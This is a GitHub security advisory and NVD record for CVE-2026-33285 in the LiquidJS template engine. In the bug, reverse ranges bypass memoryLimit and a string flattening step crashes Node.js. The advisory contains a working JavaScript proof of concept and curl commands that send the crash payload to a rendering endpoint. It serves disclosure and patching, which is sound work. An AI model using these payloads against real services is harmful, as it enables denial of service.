{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "liquidjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "10.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T17:40:53Z",
    "nvd_published_at": "2026-03-26T01:16:27Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nLiquidJS\u0027s `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a **V8 Fatal error that crashes the Node.js process**, resulting in complete denial of service from a single HTTP request.\n\n### Details\nWhen LiquidJS evaluates a range token `(low..high)`, it calls `ctx.memoryLimit.use(high - low + 1)` in `src/render/expression.ts:70` to account for memory usage. However, for reverse ranges where `low \u003e high` (e.g., `(100000000..1)`), this computation yields a negative value (`1 - 100000000 + 1 = -99999998`).\n\nThe `Limiter.use()` method in `src/util/limiter.ts:11-14` does not validate that the `count` parameter is non-negative. It simply adds `count` to `this.base`, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured `memoryLimit` pass the `base + count \u003c= limit` assertion.\n\n```typescript\n// src/render/expression.ts:67-72\nfunction * evalRangeToken (token: RangeToken, ctx: Context) {\n  const low: number = yield evalToken(token.lhs, ctx)\n  const high: number = yield evalToken(token.rhs, ctx)\n  ctx.memoryLimit.use(high - low + 1)  // high=1, low=1e8 \u2192 use(-99999999)\n  return range(+low, +high + 1)\n}\n\n// src/util/limiter.ts:11-14\nuse (count: number) {\n  count = +count || 0\n  assert(this.base + count \u003c= this.limit, this.message)\n  this.base += count  // base becomes negative\n}\n```\n\n#### Escalation to Process Crash via Cons-String Flattening\n\nV8 optimizes string concatenation (`append` filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means `{% assign s = s | append: s %}` repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.\n\nHowever, when a filter that requires the full string buffer is applied \u2014 such as `replace` \u2014 V8 must \"flatten\" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a **V8 C++ level Fatal error** (`Fatal JavaScript invalid size error 134217729`) that:\n\n- **Cannot be caught** by JavaScript `try-catch` or `process.on(\u0027uncaughtException\u0027)`\n- **Immediately terminates** the Node.js process (exit code 133 / SIGTRAP)\n- **Crashes the entire service**, not just the attacking connection\n\nThe complete attack chain:\n1. Insert 5 reverse ranges `{% for x in (100000000..1) %}{% endfor %}` \u2192 memory budget becomes -500M\n2. Build a 134MB cons-string via 27 iterations of `{% assign s = s | append: s %}`  \u2192 negligible actual memory\n3. Apply `{% assign flat = s | replace: \u0027A\u0027, \u0027B\u0027 %}` \u2192 V8 attempts to flatten \u2192 **Fatal error \u2192 process crash**\n\nThe attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.\n\n### PoC\n- LiquidJS \u003c= 10.24.x with `memoryLimit` option enabled\n- Attacker can control Liquid template source code \n\n\nSave the following as `poc_memorylimit_bypass.js` and run with `node poc_memorylimit_bypass.js`:\n\n```javascript\nconst { Liquid } = require(\u0027liquidjs\u0027);\n\n(async () =\u003e {\n  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n  // Step 1 \u2014 Baseline: memoryLimit blocks large allocation\n  console.log(\u0027=== Step 1: Baseline (should fail) ===\u0027);\n  try {\n    const baseline = \"{% assign s = \u0027A\u0027 %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n    const result = await engine.parseAndRender(baseline);\n    console.log(\u0027Result:\u0027, result); // Should not reach here\n  } catch (e) {\n    console.log(\u0027Blocked:\u0027, e.message); // \"memory alloc limit exceeded\"\n  }\n\n  // Step 2 \u2014 Bypass: reverse ranges drive counter negative\n  console.log(\u0027\\n=== Step 2: Bypass (should succeed) ===\u0027);\n  try {\n    const bypass = \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = \u0027A\u0027 %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n    const result = await engine.parseAndRender(bypass);\n    console.log(\u0027Result:\u0027, result); // \"134217728\" \u2014 134MB allocated despite 100MB limit\n  } catch (e) {\n    console.log(\u0027Error:\u0027, e.message);\n  }\n\n  // Step 3 \u2014 Process crash: cons-string flattening via replace\n  console.log(\u0027\\n=== Step 3: Process crash (node process will terminate) ===\u0027);\n  console.log(\u0027If the process exits here with code 133/SIGTRAP, the crash is confirmed.\u0027);\n  try {\n    const crash = [\n      ...Array(5).fill(\u0027{% for x in (100000000..1) %}{% endfor %}\u0027),\n      \"{% assign s = \u0027A\u0027 %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}\",\n      \"{% assign flat = s | replace: \u0027A\u0027, \u0027B\u0027 %}{{ flat | size }}\"\n    ].join(\u0027\u0027);\n    const result = await engine.parseAndRender(crash);\n    console.log(\u0027Result:\u0027, result); // Should not reach here\n  } catch (e) {\n    console.log(\u0027Caught error:\u0027, e.message); // V8 Fatal error is NOT catchable\n  }\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: Baseline (should fail) ===\nBlocked: memory alloc limit exceeded, line:1, col:43\n\n=== Step 2: Bypass (should succeed) ===\nResult: 134217728\n\n=== Step 3: Process crash (node process will terminate) ===\nIf the process exits here with code 133/SIGTRAP, the crash is confirmed.\n#\n# Fatal error in , line 0\n# Fatal JavaScript invalid size error 134217729\n#\n```\n\nThe process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and **cannot be caught** by `try-catch`, `process.on(\u0027uncaughtException\u0027)`, or any JavaScript error handler.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\nIf the application exposes an endpoint that renders user-supplied Liquid templates with `memoryLimit` configured (e.g., CMS preview, newsletter editor, etc.):\n\n```bash\n# Step 1 \u2014 Baseline: should return \"memory alloc limit exceeded\"\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"template\": \"{% assign s = \u0027\\\u0027\u0027A\u0027\\\u0027\u0027 %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}\u0027\n\n# Step 2 \u2014 Bypass: should return \"134217728\" (134MB allocated despite 100MB limit)\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = \u0027\\\u0027\u0027A\u0027\\\u0027\u0027 %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}\u0027\n\n# Step 3 \u2014 Process crash: connection drops, server process terminates\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = \u0027\\\u0027\u0027A\u0027\\\u0027\u0027 %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: \u0027\\\u0027\u0027A\u0027\\\u0027\u0027, \u0027\\\u0027\u0027B\u0027\\\u0027\u0027 %}{{ flat | size }}\"}\u0027\n```\n\nReplace `http://\u003capp\u003e/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.\n\n### Impact\nAn attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the `memoryLimit` protection entirely and crash the Node.js process:\n\n- **Complete bypass of the `memoryLimit` security mechanism**: The explicitly configured memory limit becomes ineffective.\n- **Process crash from a single HTTP request**: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception.\n- **Service-wide denial of service**: All in-flight requests are terminated. Manual restart or container restart policy is required to recover.\n- **False sense of security**: Administrators who configured `memoryLimit` believe their service is protected when it is not.\n- **Container restart policy does not mitigate**: Even with Docker `restart: always` or Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.",
  "id": "GHSA-9r5m-9576-7f6x",
  "modified": "2026-03-30T13:53:35Z",
  "published": "2026-03-25T17:40:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-9r5m-9576-7f6x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33285"
    },
    {
      "type": "WEB",
      "url": "https://github.com/harttle/liquidjs/commit/95ddefc056a11a44d9e753fd47a39db2c241e578"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/harttle/liquidjs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "7E49E8C9-5FB9-40CA-BE2C-AC2B6553F472",
              "versionEndExcluding": "10.25.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to version 10.25.1, LiquidJS\u0027s `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request. Version 10.25.1 patches the issue."
    },
    {
      "lang": "es",
      "value": "LiquidJS es un motor de plantillas compatible con Shopify / GitHub Pages en JavaScript puro. Antes de la versi\u00f3n 10.25.1, el mecanismo de seguridad \u0027memoryLimit\u0027 de LiquidJS puede ser completamente eludido mediante el uso de expresiones de rango inverso (por ejemplo, \u0027(100000000..1)\u0027), permitiendo a un atacante asignar memoria ilimitada. Combinado con una operaci\u00f3n de aplanamiento de cadenas (por ejemplo, el filtro \u0027replace\u0027), esto causa un error fatal de V8 que provoca la ca\u00edda del proceso de Node.js, resultando en una denegaci\u00f3n de servicio completa desde una \u00fanica solicitud HTTP. La versi\u00f3n 10.25.1 corrige el problema."
    }
  ],
  "id": "CVE-2026-33285",
  "lastModified": "2026-03-30T16:46:19.273",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-26T01:16:27.363",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/harttle/liquidjs/commit/95ddefc056a11a44d9e753fd47a39db2c241e578"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-9r5m-9576-7f6x"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-400"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}